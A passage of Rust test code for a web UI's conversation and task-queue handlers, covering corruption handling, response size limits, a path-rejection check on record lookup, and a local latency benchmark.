26258            run_detail(State(ui.clone()), Path(run.id.clone()))
26259                .await
26260                .is_ok()
26261        );
26262        assert!(
26263            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26264                .await
26265                .is_ok()
26266        );
26267        // Previously indexed corruption must not masquerade as no relationship.
26268        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26269        assert!(ui.find_task_for_run(&run.id).is_err());
26270        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26271        ui.queue.put(&mut task).unwrap();
26272        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26273    }
26274
26275    #[tokio::test]
26276    async fn conversation_sections_omit_large_task_instructions() {
26277        let home = tempfile::tempdir().unwrap();
26278        let ui = delta_test_ui(home.path());
26279        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26280        let mut task = Task::new(
26281            "filed task".into(),
26282            "large instruction ".repeat(65536),
26283            PathBuf::from("/repo"),
26284            Source::Agent {
26285                run: id.clone(),
26286                node: "chat".into(),
26287            },
26288        );
26289        ui.queue.put(&mut task).unwrap();
26290        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26291        assert_eq!(sections["tasks"][0]["id"], task.id);
26292        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26293        assert!(sections["tasks"][0].get("instruction").is_none());
26294        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26295    }
26296
26297    #[test]
26298    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26299        let home = tempfile::tempdir().unwrap();
26300        let talks = Talks::at(home.path().join("talks"));
26301        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26302        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26303        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26304        assert!(resolve_talk(&talks, "../outside").is_err());
26305        assert!(resolve_talk(&talks, "abcd").is_err());
26306        assert_eq!(
26307            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26308            "20261019-000001-abcd"
26309        );
26310    }
26311
26312    include!(concat!(
26313        env!("CARGO_MANIFEST_DIR"),
26314        "/tests/web_latency/baseline.rs"
26315    ));
26316
26317    include!(concat!(
26318        env!("CARGO_MANIFEST_DIR"),
26319        "/tests/web_latency/lists.rs"
26320    ));
26321
26322    #[tokio::test]
26323    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26324    async fn web_history_latency_measurement() {
26325        use std::time::Instant;
26326        let home = tempfile::tempdir().unwrap();
26327        let ui = delta_test_ui(home.path());
26328        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26329        let mut template = ui.talks.get(&id).unwrap();
26330        template.turns = serde_json::from_value(serde_json::json!([{
26331            "who": "operator", "body": "Show the accumulated work and its current status.",
26332            "at": Timestamp::now().to_string(),
26333        }]))
26334        .unwrap();
26335        std::fs::write(
26336            ui.talks.path_of(&id),
26337            serde_json::to_vec(&template).unwrap(),
26338        )
26339        .unwrap();
26340        let count = std::env::var("MAGI_BENCH_RECORDS")
26341            .ok()
26342            .and_then(|s| s.parse::<usize>().ok())
26343            .unwrap_or(1000);
26344        for i in 0..count {
26345            template.id = format!("20261019-{i:06}-history");
26346            template.pending = "history ".repeat(2048);
26347            std::fs::write(
26348                ui.talks.path_of(&template.id),
26349                serde_json::to_vec(&template).unwrap(),
26350            )
26351            .unwrap();
26352            let mut task = Task::new(
26353                "old task".into(),
26354                "instruction ".repeat(2048),
26355                PathBuf::from("/repo"),
26356                Source::Human,
26357            );
26358            task.id = format!("20261019-{i:06}-task");
26359            ui.queue.put(&mut task).unwrap();
26360        }
26361        for baseline in [true, false] {
26362            for clients in [1, 4] {
26363                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26364                let mut samples = Vec::new();
26365                for _ in 0..12 {
26366                    let mut jobs = Vec::new();
26367                    for _ in 0..clients {
26368                        let ui = ui.clone();
26369                        let id = id.clone();
26370                        jobs.push(tokio::spawn(async move {
26371                            let start = Instant::now();
26372                            if baseline {
26373                                let response =
26374                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26375                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26376                                return (
26377                                    elapsed,
26378                                    elapsed,
26379                                    serde_json::to_vec(&response).unwrap().len(),
26380                                );
26381                            }
26382                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26383                            let secondary = talk_sections(State(ui), Path(id));
26384                            let (first, total) = tokio::join!(
26385                                async {
26386                                    let value = core.await.unwrap().0;
26387                                    (
26388                                        start.elapsed().as_secs_f64() * 1000.0,
26389                                        serde_json::to_vec(&value).unwrap().len(),
26390                                    )
26391                                },
26392                                async {
26393                                    let value = secondary.await.unwrap().0;
26394                                    (
26395                                        start.elapsed().as_secs_f64() * 1000.0,
26396                                        serde_json::to_vec(&value).unwrap().len(),
26397                                    )
26398                                }
26399                            );
26400                            (first.0, first.0.max(total.0), first.1 + total.1)
26401                        }));
26402                    }
26403                    for job in jobs {
26404                        samples.push(job.await.unwrap());
26405                    }
26406                }
26407                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26408                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26409                first.sort_by(f64::total_cmp);
26410                total.sort_by(f64::total_cmp);
26411                let n = first.len();
26412                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26413                println!(
26414                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26415                    first[n / 2],
26416                    first[(n * 95 / 100).min(n - 1)],
26417                    total[n / 2],
26418                    total[(n * 95 / 100).min(n - 1)],
26419                    samples[0].2
26420                );
26421            }
26422        }
26423    }
26424
26425    #[test]
26426    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26427        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26428        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26429        assert!(APP_JS.contains("function nextRunRequest(id)"));
26430        assert!(APP_JS.contains("function runShell(id, summary)"));
26431        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26432        assert!(APP_JS.contains("function taskShell(id, summary)"));
26433        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26434    }
26435}